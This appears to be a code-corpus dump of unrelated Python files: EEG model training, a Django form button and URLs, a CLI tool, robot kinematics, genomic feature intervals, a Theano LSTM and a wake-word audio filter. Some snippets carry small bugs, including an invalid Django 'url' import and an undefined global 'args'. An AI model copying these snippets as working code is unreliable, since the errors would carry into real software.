sum probability of occurence for elements in each array
randomly select separator (can sometimes still use - probability 0.07 or
something...)
If separator is none, then start each word with a capital letter
with a probability of 0.9
n is randomly 1, 2, 3, or 4. With highest probablity for 2, and lowest
for 4
for i = 1, n
initialize current_word to 0
start with consonant or random prefix
pick random word_ending (can also be an empty string)
m is length of word (sampled from distribution of word length)
for j = 1, m - len(word_ending) - len(current_word)
if mod(m,2) = 0
get some vowel
if mod(m,2) = 1
get some consonant
if some other condition ...
get one of the others instead
| python |
from __future__ import unicode_literals
from cradmin_legacy.crispylayouts import CradminSubmitButton
class BulkFileUploadSubmit(CradminSubmitButton):
template = 'cradmin_legacy/apps/cradmin_temporaryfileuploadstore/bulkfileupload-submit.django.html'
extra_button_attributes = {
'cradmin-legacy-bulkfileupload-submit': ''
}
def __init__(self, name, value, uploading_text=None, uploading_icon_cssclass=None, **kwargs):
self.uploading_text = uploading_text or value
self.uploading_icon_cssclass = uploading_icon_cssclass
super(BulkFileUploadSubmit, self).__init__(
name, value, **kwargs)
| python |
# coding:utf-8
import os
import timeit
import tensorflow as tf
from tensorflow.python.keras.api._v2.keras import backend as K
from core.get_model import create_EEGNet, create_TSGLEEGNet
from core.training import crossValidate, gridSearch
from core.dataloaders import RawDataloader
from core.generators import RawGenerator
from core.splits import StratifiedKFold, AllTrain
from core.metrics import Kappa
os.environ['CUDA_VISIBLE_DEVICES'] = '0'
gpus = tf.config.experimental.list_physical_devices(device_type='GPU')
print(gpus)
for gpu in gpus:
tf.config.experimental.set_memory_growth(gpu, True)
K.set_image_data_format('channels_last')
srate = 250
num_classes = 4
batch_size = 10
def time_format(secs):
mins = int(secs // 60)
secs %= 60
hours = mins // 60
mins %= 60
days = hours // 24
hours %= 24
return days, hours, mins, secs
train_datapath = os.path.join('data', 'A', 'TrainSet', 'example_data.mat')
test_datapath = os.path.join('data', 'A', 'TestSet', 'example_data.mat')
datadir = None
# train_datapath = None
# test_datapath = None
# datadir = os.path.join('data', 'A')
start = timeit.default_timer()
# Change kFold, epochs and patience to get higher acc
crossValidate(
create_TSGLEEGNet,
dataLoader=RawDataloader,
splitMethod=AllTrain,
dataGent=RawGenerator,
traindata_filepath=train_datapath,
testdata_filepath=test_datapath,
datadir=datadir,
kFold=5,
# If use 'traindata_filepath' or 'testdata_filepath', set subs=[1]
subs=[1],
shuffle=True,
norm_mode='z-score',
preserve_initfile=False,
reinit=True,
# If needed, turn cropping on.
# But its accuracy evaluation indicator is not clear.
cropping=False,
cpt=0.5,
step=int(0.2 * srate),
max_crop=6,
beg=0.,
end=4.,
srate=srate,
batch_size=batch_size,
epochs=1200,
patience=300)(
nClasses=num_classes,
Chans=22,
F=16,
D=10,
Ns=20,
l1=1e-4,
l21=7.5e-5,
tl1=2.5e-6,
metrics=[
'accuracy',
Kappa(num_classes, sparse_labels=True)
],
lrate=1e-3,
)
# parameters = {
# 'l1': {
# '1': [2.5e-5],
# '2': [1e-3],
# '3': [1e-4],
# '4': [7.5e-5],
# '5': [2.5e-5],
# '6': [5e-5],
# '7': [7.5e-5],
# '8': [1e-3],
# '9': [7.5e-5]
# },
# 'l21':
# {
# '1': [2.5e-5],
# '2': [1e-4],
# '3': [7.5e-5],
# '4': [1e-4],
# '5': [1e-4],
# '6': [1e-4],
# '7': [1e-4],
# '8': [1e-4],
# '9': [1e-4]
# },
# 'tl1': {
# '1': [7.5e-6],
# '2': [7.5e-6],
# '3': [2.5e-6],
# '4': [1e-5],
# '5': [7.5e-6],
# '6': [1e-6],
# '7': [2.5e-6],
# '8': [5e-6],
# '9': [2.5e-5]
# }
# }
# OR
# parameters = {
# 'l1': {
# # '1': [5e-3],
# '2':
# list(np.linspace(1e-2, 2.5e-3, 4)) +
# list(np.linspace(1e-3, 2.5e-4, 4)) +
# list(np.linspace(1e-4, 2.5e-5, 4)) + [1e-5, 0.],
# # '3': [7.5e-4]
# },
# 'l21': [1e-3],
# 'tl1': {
# # '1': [7.5e-4],
# '2': [2.5e-5],
# # '3': [7.5e-4]
# }
# }
# # OR mix them
# gridSearch(
# create_TSGLEEGNet,
# parameters,
# dataLoader=RawDataloader,
# splitMethod=AllTrain,
# dataGent=RawGenerator,
# traindata_filepath=train_datapath,
# testdata_filepath=test_datapath,
# datadir=datadir,
# kFold=5,
# subs=range(2, 3),
# shuffle=True,
# norm_mode='z-score',
# preserve_initfile=False,
# reinit=True,
# cpt=0.5,
# step=int(0.2 * srate),
# max_crop=6,
# beg=0.,
# end=4.,
# srate=srate,
# epochs=1200, # change them
# patience=300)(4, Chans=60, F=16, D=10, Ns=20)
end = timeit.default_timer()
print("Time used: {0:0>2d}d {1:0>2d}h {2:0>2d}m {3:.4f}s".format(
*time_format(end - start))) | python |
"""Manipulate tem variants."""
import os
import sys
from tem import util, var
from tem.cli import common as cli
from .common import print_cli_err
def setup_parser(p):
cli.add_general_options(p)
p.add_argument("variants", nargs="*", help="set the active variant")
mutex = p.add_mutually_exclusive_group()
mutex.add_argument(
"-q",
"--query",
action="store_true",
help="query if VARIANTs are active",
)
mutex.add_argument(
"-a",
"--activate",
action="store_true",
help="activate VARIANTs [default]",
)
mutex.add_argument(
"-d", "--deactivate", action="store_true", help="disable VARIANTs"
)
mutex.add_argument(
"-x",
"--exclusive",
action="store_true",
help="activate VARIANTs, deactivate all others",
)
p.add_argument(
"-v",
"--verbose",
action="store_true",
help="print all active variants",
)
p.set_defaults(func=cmd)
def query(args):
"""Query if specified variants are active."""
exit_with_fail = False
for arg_variant in args.variants:
if arg_variant not in var.active_variants():
if not args.verbose:
sys.exit(1)
else:
exit_with_fail = True
if exit_with_fail:
sys.exit(1)
def no_action(args):
return not (
args.activate or args.deactivate or args.exclusive or args.query
)
@cli.subcommand
def cmd(args):
"""Execute this subcommand."""
# TODO make it so users can only choose from an existing pool of variants
# and so that new variants can be registered using a special option
if not os.path.exists(".tem"):
print_cli_err("this is not a temdir")
util.print_err("Try running `tem init` first.")
return
if no_action(args):
if args.variants: # variants not empty
args.activate = True
else:
args.verbose = True
if args.activate: # --activate option
var.activate(args.variants)
if args.exclusive: # --exclusive option
var.set_active_variants(args.variants)
elif args.deactivate: # --deactivate option
var.deactivate(args.variants)
elif args.query: # --query option
query(args)
# This will run either when the --verbose option is given, or when
# this command is run simply as `tem var`
if args.verbose:
variants = var.active_variants()
print(*(variants if variants else ["default"]), sep="\n")
| python |
import os
import pathlib
import random
import json
import kinpy as kp
import numpy as np
from tests.test_urdf_parser import (
urdf_path_to_json_path,
PRECOMPUTED_KINEMATICS_DIR_NAME,
URDF_EXAMPLES_DIR
)
def initialize_state(robot):
"""Creates a dictionary whose entries each correspond to a movable joint of the input
:py:class:`Robot`, with all values (joint positions) set to 0.
Args:
robot (Robot): A TriP Robot.
Returns:
(dict): Dictionary representing the robot's state, with all values initialized to zeros.
"""
return {
joint_name: 0
for joint_name in robot.get_actuated_state()
}
def create_kinpy_chain(path):
"""Takes a path to a URDF file and converts it into a kinpy kinematic chain.
Args:
path (str): Path to a URDF file.
Returns:
(Chain): kinpy kinematic chain.
"""
with open(path, encoding='utf8') as file:
urdf_data_str = file.read()
return kp.build_chain_from_urdf(urdf_data_str)
def generate_forward_kinematics_json(urdf_path, rng_states_count=10):
"""Calculates forward kinematics for the input URDF file using kinpy and saves these to a
JSON file.
Args:
path (str): Path to the URDF file.
rng_states_count (int, optional): The number of randomized states. Defaults to 10.
"""
# Setup kinpy chain
try:
chain_kinpy = create_kinpy_chain(urdf_path)
except KeyError as err:
raise ValueError(
f'File {urdf_path} is not valid. Unsupported joint type? Missing tag? (error was {err})'
) from err
# First state: initialize all joint values to zero
state_init = {
joint_name: 0
for joint_name in chain_kinpy.get_joint_parameter_names()
}
test_states = [state_init]
# RNG states: initialize a number of states with random values
for _ in range(rng_states_count):
new_state = {
joint: random.uniform(-np.pi, np.pi)
for joint in state_init.keys()
}
test_states.append(new_state)
# Save forward kinematics results and joint positions for all states
forward_kinematics = [
{
'state': state,
'transformations': {
link: {'rot': list(transform.rot),
'pos': list(transform.pos)}
for link, transform in chain_kinpy.forward_kinematics(state).items()
}
}
for state in test_states
]
return json.dumps(forward_kinematics, separators=(',', ':'))
def main():
precomputed_kinematics_dir = pathlib.Path(URDF_EXAMPLES_DIR) / PRECOMPUTED_KINEMATICS_DIR_NAME
precomputed_kinematics_dir.mkdir(exist_ok=True)
# Iterate through files for which we compute forward kinematics. Skip subdirectories of
# urdf_examples_dir, because as of now, the only subdirectory contains (intentionally) broken
# URDFs. If that changes, change this too.
for entry in os.scandir(URDF_EXAMPLES_DIR):
if entry.is_file() and pathlib.Path(entry).suffix == '.urdf':
with open(urdf_path_to_json_path(entry.path), 'w', encoding='utf8') as file:
forward_kinematics = generate_forward_kinematics_json(entry.path)
file.write(forward_kinematics)
if __name__ == '__main__':
main()
| python |
"""
Object representation of features. Includes an abstract feature class that is also used by transcripts.
Each object is capable of exporting itself to BED and GFF3.
"""
from typing import Optional, Any, Dict, List, Set, Iterable, Hashable
from uuid import UUID
from inscripta.biocantor.exc import (
EmptyLocationException,
NoSuchAncestorException,
NoncodingTranscriptError,
)
from inscripta.biocantor.gene.cds_frame import CDSPhase
from inscripta.biocantor.gene.interval import AbstractFeatureInterval, QualifierValue, IntervalType
from inscripta.biocantor.io.bed import BED12, RGB
from inscripta.biocantor.io.gff3.constants import GFF_SOURCE, NULL_COLUMN, BioCantorFeatureTypes, BioCantorQualifiers
from inscripta.biocantor.io.gff3.exc import GFF3MissingSequenceNameError
from inscripta.biocantor.io.gff3.rows import GFFAttributes, GFFRow
from inscripta.biocantor.location.location import Location
from inscripta.biocantor.location.strand import Strand
from inscripta.biocantor.parent.parent import Parent, SequenceType
from inscripta.biocantor.util.bins import bins
from inscripta.biocantor.util.hashing import digest_object
class FeatureInterval(AbstractFeatureInterval):
"""FeatureIntervals are generic intervals. These can be used to model genome promoters,
open chromatin sites, etc.
"""
interval_type = IntervalType.FEATURE
_identifiers = ["feature_name", "feature_id"]
def __init__(
self,
interval_starts: List[int],
interval_ends: List[int],
strand: Strand,
qualifiers: Optional[Dict[Hashable, QualifierValue]] = None,
sequence_guid: Optional[UUID] = None,
sequence_name: Optional[str] = None,
feature_types: Optional[List[str]] = None,
feature_name: Optional[str] = None,
feature_id: Optional[str] = None,
guid: Optional[UUID] = None,
feature_guid: Optional[UUID] = None,
is_primary_feature: Optional[bool] = None,
parent_or_seq_chunk_parent: Optional[Parent] = None,
):
self._location = self.initialize_location(interval_starts, interval_ends, strand, parent_or_seq_chunk_parent)
self._genomic_starts = interval_starts
self._genomic_ends = interval_ends
self.start = self.genomic_start = interval_starts[0]
self.end = self.genomic_end = interval_ends[-1]
self._strand = strand
self._parent_or_seq_chunk_parent = parent_or_seq_chunk_parent
self.sequence_guid = sequence_guid
self.sequence_name = sequence_name
self.feature_types = set(feature_types) if feature_types else set() # stored as a set of types
self.feature_name = feature_name
self.feature_id = feature_id
# qualifiers come in as a List, convert to Set
self._import_qualifiers_from_list(qualifiers)
self.bin = bins(self.start, self.end, fmt="bed")
self._is_primary_feature = is_primary_feature
if guid is None:
self.guid = digest_object(
self._genomic_starts,
self._genomic_ends,
self.qualifiers,
self.sequence_name,
self.feature_types,
self.feature_name,
self.feature_id,
self.is_primary_feature,
)
else:
self.guid = guid
self.feature_guid = feature_guid
def __str__(self):
return f"FeatureInterval(({self.chromosome_location}), name={self.feature_name})"
def __repr__(self):
return "<{}>".format(str(self))
@property
def id(self) -> str:
"""Returns the ID of this feature. Provides a shared API across genes/transcripts and features."""
return self.feature_id
@property
def name(self) -> str:
"""Returns the name of this feature. Provides a shared API across genes/transcripts and features."""
return self.feature_name
@property
def cds_start(self) -> int:
raise NoncodingTranscriptError("No CDS start for non-transcribed features")
@property
def cds_end(self) -> int:
raise NoncodingTranscriptError("No CDS end for non-transcribed features")
@property
def chunk_relative_cds_start(self) -> int:
raise NoncodingTranscriptError("No CDS start for non-transcribed features")
@property
def chunk_relative_cds_end(self) -> int:
raise NoncodingTranscriptError("No CDS end for non-transcribed features")
@property
def cds_location(self) -> Location:
"""Returns the Location of the CDS in *chromosome coordinates*"""
raise NoncodingTranscriptError("No location on a non-transcribed feature")
@property
def cds_chunk_relative_location(self) -> Location:
"""Returns the Location of the CDS in *chunk relative coordinates*"""
raise NoncodingTranscriptError("No location on a non-transcribed feature")
@property
def is_coding(self) -> bool:
raise NoncodingTranscriptError("Non-transcribed features cannot be coding")
@property
def has_in_frame_stop(self) -> bool:
raise NoncodingTranscriptError("Cannot have frameshifts on non-transcribed features")
@property
def cds_size(self) -> int:
"""CDS size, regardless of chunk relativity (does not shrink)"""
raise NoncodingTranscriptError("No cds size on a non-transcribed feature")
@property
def chunk_relative_cds_size(self) -> int:
"""Chunk relative CDS size (can shrink if the Location is a slice of the full transcript)"""
raise NoncodingTranscriptError("No chunk-relative CDS size on a non-transcribed feature")
def to_dict(self, chromosome_relative_coordinates: bool = True) -> Dict[str, Any]:
"""Convert to a dict usable by :class:`biocantor.io.models.FeatureIntervalModel`."""
if chromosome_relative_coordinates:
interval_starts = self._genomic_starts
interval_ends = self._genomic_ends
else:
interval_starts, interval_ends = list(zip(*((x.start, x.end) for x in self.relative_blocks)))
return dict(
interval_starts=interval_starts,
interval_ends=interval_ends,
strand=self.strand.name,
qualifiers=self._export_qualifiers_to_list(),
feature_id=self.feature_id,
feature_name=self.feature_name,
feature_types=sorted(self.feature_types) if self.feature_types else None,
sequence_name=self.sequence_name,
sequence_guid=self.sequence_guid,
feature_interval_guid=self.guid,
feature_guid=self.feature_guid,
is_primary_feature=self._is_primary_feature,
)
@staticmethod
def from_dict(vals: Dict[str, Any], parent_or_seq_chunk_parent: Optional[Parent] = None) -> "FeatureInterval":
"""Build a :class:`FeatureInterval` from a dictionary."""
return FeatureInterval(
interval_starts=vals["interval_starts"],
interval_ends=vals["interval_ends"],
strand=Strand[vals["strand"]],
qualifiers=vals["qualifiers"],
sequence_guid=vals["sequence_guid"],
sequence_name=vals["sequence_name"],
feature_types=vals["feature_types"],
feature_name=vals["feature_name"],
feature_id=vals["feature_id"],
guid=vals["feature_interval_guid"],
feature_guid=vals["feature_guid"],
is_primary_feature=vals["is_primary_feature"],
parent_or_seq_chunk_parent=parent_or_seq_chunk_parent,
)
@staticmethod
def from_location(
location: Location,
qualifiers: Optional[Dict[Hashable, QualifierValue]] = None,
sequence_guid: Optional[UUID] = None,
sequence_name: Optional[str] = None,
guid: Optional[UUID] = None,
feature_guid: Optional[UUID] = None,
feature_types: Optional[List[str]] = None,
feature_id: Optional[str] = None,
feature_name: Optional[str] = None,
is_primary_feature: Optional[str] = None,
) -> "FeatureInterval":
return FeatureInterval(
interval_starts=[x.start for x in location.blocks],
interval_ends=[x.end for x in location.blocks],
strand=location.strand,
guid=guid,
feature_guid=feature_guid,
qualifiers=qualifiers,
sequence_name=sequence_name,
sequence_guid=sequence_guid,
feature_types=feature_types,
feature_id=feature_id,
feature_name=feature_name,
is_primary_feature=is_primary_feature,
parent_or_seq_chunk_parent=location.parent,
)
def intersect(
self,
location: Location,
new_guid: Optional[UUID] = None,
new_qualifiers: Optional[dict] = None,
) -> "FeatureInterval":
"""Returns a new FeatureInterval representing the intersection of this FeatureInterval's location with the
other location.
Strand of the other location is ignored; returned FeatureInterval is on the same strand as this FeatureInterval.
"""
if not new_qualifiers:
new_qualifiers = self.qualifiers
location_same_strand = location.reset_strand(self.chromosome_location.strand)
intersection = self.chromosome_location.intersection(location_same_strand)
if intersection.is_empty:
raise EmptyLocationException("Can't intersect disjoint intervals")
starts = [x.start for x in intersection.blocks]
ends = [x.end for x in intersection.blocks]
return FeatureInterval(
starts,
ends,
strand=intersection.strand,
guid=new_guid,
qualifiers=new_qualifiers,
parent_or_seq_chunk_parent=intersection.parent,
)
def export_qualifiers(
self, parent_qualifiers: Optional[Dict[Hashable, Set[str]]] = None
) -> Dict[Hashable, Set[str]]:
"""Exports qualifiers for GFF3/GenBank export"""
qualifiers = self._merge_qualifiers(parent_qualifiers)
for key, val in [
[BioCantorQualifiers.FEATURE_SYMBOL.value, self.feature_name],
[BioCantorQualifiers.FEATURE_ID.value, self.feature_id],
]:
if not val:
continue
if key not in qualifiers:
qualifiers[key] = set()
qualifiers[key].add(val)
if self.feature_types:
qualifiers[BioCantorQualifiers.FEATURE_TYPE.value] = self.feature_types
return qualifiers
def to_gff(
self,
parent: Optional[str] = None,
parent_qualifiers: Optional[Dict[Hashable, Set[str]]] = None,
chromosome_relative_coordinates: bool = True,
raise_on_reserved_attributes: Optional[bool] = True,
) -> Iterable[GFFRow]:
"""Writes a GFF format list of lists for this feature.
The additional qualifiers are used when writing a hierarchical relationship back to files. GFF files
are easier to work with if the children features have the qualifiers of their parents.
Args:
parent: ID of the Parent of this transcript.
parent_qualifiers: Directly pull qualifiers in from this dictionary.
chromosome_relative_coordinates: Output GFF in chromosome-relative coordinates? Will raise an exception
if there is not a ``sequence_chunk`` ancestor type.
raise_on_reserved_attributes: If ``True``, then GFF3 reserved attributes such as ``ID`` and ``Name`` present
in the qualifiers will lead to an exception and not a warning.
Yields:
:class:`~biocantor.io.gff3.rows.GFFRow`
Raises:
NoSuchAncestorException: If ``chromosome_relative_coordinates`` is ``False`` but there is no
``sequence_chunk`` ancestor type.
GFF3MissingSequenceNameError: If there are no sequence names associated with this feature.
"""
if not self.sequence_name:
raise GFF3MissingSequenceNameError("Must have sequence names to export to GFF3.")
if not chromosome_relative_coordinates and not self.has_ancestor_of_type(SequenceType.SEQUENCE_CHUNK):
raise NoSuchAncestorException(
"Cannot export GFF in relative coordinates without a sequence_chunk ancestor."
)
qualifiers = self.export_qualifiers(parent_qualifiers)
feature_id = str(self.guid)
attributes = GFFAttributes(
id=feature_id,
qualifiers=qualifiers,
name=self.feature_name,
parent=parent,
raise_on_reserved_attributes=raise_on_reserved_attributes,
)
# "transcript" (feature interval) feature
row = GFFRow(
self.sequence_name,
GFF_SOURCE,
BioCantorFeatureTypes.FEATURE_INTERVAL,
(self.start if chromosome_relative_coordinates else self.chunk_relative_start) + 1,
self.end if chromosome_relative_coordinates else self.chunk_relative_end,
NULL_COLUMN,
self.strand,
CDSPhase.NONE,
attributes,
)
yield row
# start adding exon features
# re-use qualifiers, updating ID each time
if chromosome_relative_coordinates:
blocks = zip(self._genomic_starts, self._genomic_ends)
else:
blocks = [[x.start, x.end] for x in self.relative_blocks]
for i, (start, end) in enumerate(blocks, 1):
attributes = GFFAttributes(
id=f"feature-{feature_id}-{i}",
qualifiers=qualifiers,
name=self.feature_name,
parent=feature_id,
raise_on_reserved_attributes=raise_on_reserved_attributes,
)
row = GFFRow(
self.sequence_name,
GFF_SOURCE,
BioCantorFeatureTypes.FEATURE_INTERVAL_REGION,
start + 1,
end,
NULL_COLUMN,
self.strand,
CDSPhase.NONE,
attributes,
)
yield row
def to_bed12(
self,
score: Optional[int] = 0,
rgb: Optional[RGB] = RGB(0, 0, 0),
name: Optional[str] = "feature_name",
chromosome_relative_coordinates: bool = True,
) -> BED12:
"""Write a BED12 format representation of this :class:`FeatureInterval`.
Both of these optional arguments are specific to the BED12 format.
Args:
score: An optional score associated with a interval. UCSC requires an integer between 0 and 1000.
rgb: An optional RGB string for visualization on a browser. This allows you to have multiple colors
on a single UCSC track.
name: Which identifier in this record to use as 'name'. feature_name to guid. If the supplied string
is not a valid attribute, it is used directly.
chromosome_relative_coordinates: Output GFF in chromosome-relative coordinates? Will raise an exception
if there is not a ``sequence_chunk`` ancestor type.
Return:
A :class:`~biocantor.io.bed.BED12` object.
Raises:
NoSuchAncestorException: If ``chromosome_relative_coordinates`` is ``False`` but there is no
``sequence_chunk`` ancestor type.
"""
if chromosome_relative_coordinates:
blocks = list(zip(self._genomic_starts, self._genomic_ends))
num_blocks = len(self._genomic_starts)
else:
blocks = [[x.start, x.end] for x in self.relative_blocks]
num_blocks = self.chunk_relative_location.num_blocks
block_sizes = [end - start for start, end in blocks]
block_starts = [start - self.start for start, _ in blocks]
if chromosome_relative_coordinates:
start = self.start
end = self.end
else:
start = self.chunk_relative_start
end = self.chunk_relative_end
return BED12(
self.sequence_name,
start,
end,
getattr(self, name, name),
score,
self.strand,
0, # thickStart always 0 for non-coding
0, # thickEnd always 0 for non-coding
rgb,
num_blocks,
block_sizes,
block_starts,
)
| python |
from django.urls import url
from .views import SignUpView,ProfilePageView, ProfileEditPageView
urlpatterns = [
url(r'', SignUpView.as_view(), name='signup'),
url(r'profile/$', ProfilePageView.as_view(), name='profile'),
url(r'profile_edit/$', ProfileEditPageView, name='profile_edit')
] | python |
#!/usr/bin/python
import numpy as np
import theano
import theano.tensor as T
import reberGrammar
dtype = theano.config.floatX
# SET the random number generator's seeds for consistency
SEED = 123
np.random.seed(SEED)
# refer to the tutorial
# http://christianherta.de/lehre/dataScience/machineLearning/neuralNetworks/LSTM.php
# http://deeplearning.net/tutorial/code/lstm.py
# activation function for others
tanh = T.tanh
# activation function for gates
sigma = lambda x: 1 / (1 + T.exp(-x))
# lstm unit - extended version include forget gate and peephole weights
def lstm_step(x_t,m_t,h_tm1,c_tm1, # changes: add m_t for mask variable at time step t
W_x,W_h,W_c,W_co,W_hy,
b_i,b_f,b_c,b_o,b_y):
h_dim = h_tm1.shape[-1] # hidden unit dimension
def _slice(_x,n,dim):
return _x[:,n * dim:(n + 1) * dim]
# improve efficiency
preact_x = T.dot(x_t,W_x)
preact_h = T.dot(h_tm1,W_h)
preact_c = T.dot(c_tm1,W_c)
# input gate
i_t = T.nnet.sigmoid(_slice(preact_x,0,h_dim) + _slice(preact_h,0,h_dim) + _slice(preact_c,0,h_dim) + b_i)
# forget gate
f_t = T.nnet.sigmoid(_slice(preact_x,1,h_dim) + _slice(preact_h,1,h_dim) + _slice(preact_c,1,h_dim) + b_f)
# cell
c_t = f_t * c_tm1 + i_t * tanh(_slice(preact_x,3,h_dim) + _slice(preact_h,3,h_dim) + b_c)
c_t = m_t[:,None] * c_t + (1. - m_t)[:,None] * c_tm1 # add mask
# output gate
o_t = T.nnet.sigmoid(_slice(preact_x,2,h_dim) + _slice(preact_h,2,h_dim ) + T.dot(c_t,W_co) + b_o)
# cell output
h_t = o_t * tanh(c_t)
h_t = m_t[:,None] * h_t + (1. - m_t)[:,None] * h_tm1 # add mask
# output
y_t = T.nnet.sigmoid(theano.dot(h_t,W_hy) + b_y)
return [h_t,c_t,y_t]
# random initialization of weights
def init_weights(size_x,size_y):
values = np.ndarray([size_x,size_y],dtype=dtype)
for dx in xrange(size_x):
vals = np.random.uniform(low=-1.,high=1.,size=(size_y,))
values[dx,:] = vals
_,svs,_ = np.linalg.svd(values)
# svs[0] is the largest singular value
values = values / svs[0]
return values
# get minibatches' index and shuffle the dataset at each iteration, taken from the lstm.py
def get_minibatches_idx(n,minibatch_size, shuffle=False):
idx_list = np.arange(n,dtype="int32")
if shuffle:
np.random.shuffle(idx_list)
minibatches = []
minibatch_start = 0
for i in range( n // minibatch_size):
minibatches.append(idx_list[minibatch_start:minibatch_start + minibatch_size])
minibatch_start += minibatch_size
if (minibatch_start != n):# make a minibatch out of what is left
minibatches.append(idx_list[minibatch_start:])
return zip(range(len(minibatches)),minibatches)
# claim numpy array object
def numpy_floatX(data):
return np.asarray(data, dtype=dtype)
#------------------ test case -----------------------
# instantiate a lstm network for reber grammar
n_in = 7
n_hidden = n_i = n_c = n_o = n_f = 10
n_y = 7
# initialize weights
W_x = theano.shared(init_weights(n_in,n_hidden*4))
W_h = theano.shared(init_weights(n_hidden,n_hidden*5))
W_c = theano.shared(init_weights(n_hidden,n_hidden*2))
W_co = theano.shared(init_weights(n_hidden,n_hidden))
W_hy = theano.shared(init_weights(n_hidden, n_y))
b_i = theano.shared(np.cast[dtype](np.random.uniform(-0.5,.5,size=n_i)))
b_f = theano.shared(np.cast[dtype](np.random.uniform(0,1.,size=n_f)))
b_c = theano.shared(np.zeros(n_c,dtype=dtype))
b_o = theano.shared(np.cast[dtype](np.random.uniform(-0.5,.5,size=n_o)))
b_y = theano.shared(np.zeros(n_y,dtype=dtype))
params = [W_x,W_h,W_c,W_co,W_hy,b_i,b_f,b_c,b_o,b_y]
# input
v = T.tensor3(dtype=dtype)
n_samples = v.shape[1]
# mask
m = T.matrix(dtype=dtype)
target = T.tensor3(dtype=dtype)
# sequential model
[h_vals,_,y_vals],_ = theano.scan(fn = lstm_step,
sequences = [v,m],
outputs_info = [T.alloc(numpy_floatX(0.),n_samples,n_hidden),
T.alloc(numpy_floatX(0,),n_samples,n_hidden),None],
non_sequences = [W_x,W_h,W_c,W_co,W_hy,b_i,b_f,b_c,b_o,b_y])
# cost
cost = -T.mean(target * T.log(y_vals) + (1. - target) * T.log(1. - y_vals))
# learning rate
lr = np.cast[dtype](.1)
learning_rate = theano.shared(lr)
gparams = []
for param in params:
gparam = T.grad(cost,param)
gparams.append(gparam)
updates = []
for param,gparam in zip(params,gparams):
updates.append((param,param - gparam * learning_rate))
#---------------- change data format and padding
# generate data
train_data = reberGrammar.get_n_embedded_examples(1000)
num_samples = len(train_data)
lengths = [] #counter for sequence length
for j in range(len(train_data)):
i,o = train_data[j]
lengths.append(len(i))
maxlen = max(lengths)
# zero padding by the maximum length of seqs
train_input = np.zeros((maxlen,num_samples,n_in),dtype=np.float32)
train_mask = np.zeros((maxlen,num_samples),dtype=np.float32)
train_tgt = np.zeros((maxlen,num_samples,n_in),dtype=np.float32)
for j in range(num_samples):
i,o = train_data[j]
train_input[:lengths[j],j] = np.vstack(i)
train_tgt[:lengths[j],j] = np.vstack(o)
train_mask[:lengths[j],j] = 1
#----------------------------------------------------
learn_rnn_fn = theano.function(inputs = [v,m,target],
outputs = cost,
updates = updates)
#-----------------Apply minibatch
nb_epochs = 250
batch_size = 50 # mini-batch size
train_err = np.ndarray(nb_epochs)
def train_rnn(train_data):
for epo in range(nb_epochs):
print "training epoch ",str(epo),"..."
error = 0.
kf = get_minibatches_idx(num_samples,batch_size,shuffle=True)
for _,train_idx in kf:
x = train_input[:,train_idx,:]
y = train_tgt[:,train_idx,:]
m = train_mask[:,train_idx]
train_cost = learn_rnn_fn(x,m,y) # modified function
error += train_cost
train_err[epo] = error
train_rnn(train_data)
#-----------------------------------------------------
# plot results
import matplotlib.pyplot as plt
plt.plot(np.arange(nb_epochs),train_err,'b-')
plt.xlabel('epochs')
plt.ylabel('error')
plt.ylim(0.50)
| python |
import os
import sys
import time
import json
import h5py
import argparse
import librosa
import numpy as np
from tqdm import tqdm
from glob import glob
from typing import Any
from tf_lite.filter import Filter
from tf_lite.tf_lite import TFLiteModel
import webrtcvad
class Dataset_Filter:
def __init__(self,
dataset: str,
filter: TFLiteModel,
**kwargs: Any) -> None:
# dataset variables
self.dataset = dataset
self.audio_metadata = json.load(open(dataset, 'r'))
self.wake_word = kwargs['wake_word']
self.speakers_dict = self.map_speakers()
# audio parameters
self.sr = kwargs['sample_rate']
self.fw = kwargs['frame_width']
self.hw = kwargs['hop_width']
self.frame_len = self.sr // 1000 * self.fw
self.hop_len = self.sr // 1000 * self.hw
# filter class variables
self.filter = Filter(fft_hop_length=self.hw, model_dir=args.models_dir)
self.num_filter_outputs = self.filter.num_outputs()
# data locations
self.out_dir = kwargs['out_dir']
self.data_dir = kwargs['data_dir']
# make directory structure for dataset
os.makedirs(self.out_dir, exist_ok=True)
self.dataset_file = os.path.join(self.out_dir, os.path.basename(dataset).replace('.json', '.h5'))
# voice activity detector (0=lowest aggresiveness, 3=most agressive)
self.vad = webrtcvad.Vad(3)
def map_speakers(self):
speakers = set()
for data in self.audio_metadata:
speakers.add(data['worker_id'])
speaker_dict = {speaker: i for i, speaker in enumerate(speakers)}
return speaker_dict
def filter_audio_file(self, audio_file: str, label: int) -> None:
features = []
# load audio from file
samples, _ = librosa.load(os.path.join(self.data_dir, audio_file), sr=self.sr)
# if wav file is empty, return None
if len(samples) > 0:
# start and end timesteps for voice in audio clip
speech_start_ts = -1
speech_end_ts = -1
# frame audio and process it through filter
for start_idx in np.arange(0, len(samples), self.frame_len):
frame = samples[start_idx:start_idx+self.frame_len]
if len(frame) < self.frame_len:
pad_len = self.frame_len - len(frame)
frame = np.pad(frame, (0,pad_len), mode='constant')
# convert frame to bytes for WEBRTCVAD
frame_bytes = np.int16(frame * 32768).tobytes()
is_speech = self.vad.is_speech(frame_bytes, self.sr)
# find timestep where speech starts
if speech_start_ts == -1 and is_speech:
speech_start_ts = start_idx // self.hop_len
## find timestep where speech ends
if speech_start_ts > -1 and is_speech:
speech_end_ts = (start_idx + self.frame_len) // self.hop_len
# filter audio through filter model
frame = self.filter.filter_frame(frame)
# if frame buffer is not full, filter cannot do overlapping windows, so nothing is returned
if len(frame) > 0:
features.extend(frame)
#if (speech_start_ts == -1 or speech_end_ts == -1) and label==1:
# print(f'Error finding begining and ending of speech in: {audio_file}')
return {'file_name': os.path.basename(audio_file).replace('.wav',''),
'is_hotword': label,
'features': np.array(features),
'speech_start_ts': speech_start_ts,
'speech_end_ts': speech_end_ts
}
return None
def filter_dataset_audio(self) -> None:
audio_clips = []
# process all audio files in dataset's json file
for audio in tqdm(self.audio_metadata):
# pass audio file through filter model
audio_clip = self.filter_audio_file(audio['audio_file_path'], audio['is_hotword'])
# dont save empty feature maps (i.e. the audio file had too few samples)
if audio_clip is None or len(audio_clip['features']) == 0:
continue
audio_clip['speaker'] = self.speakers_dict[audio['worker_id']]
audio_clips.append(audio_clip)
self.write_h5(audio_clips)
def write_h5(self, audio_clips):
print(f"Writing preprocessed dataset to {self.dataset_file}")
with h5py.File(self.dataset_file, 'w') as h5f:
for audio_clip in audio_clips:
dset = h5f.create_dataset(audio_clip['file_name'], data=audio_clip['features'])
dset.attrs['is_hotword'] = audio_clip['is_hotword']
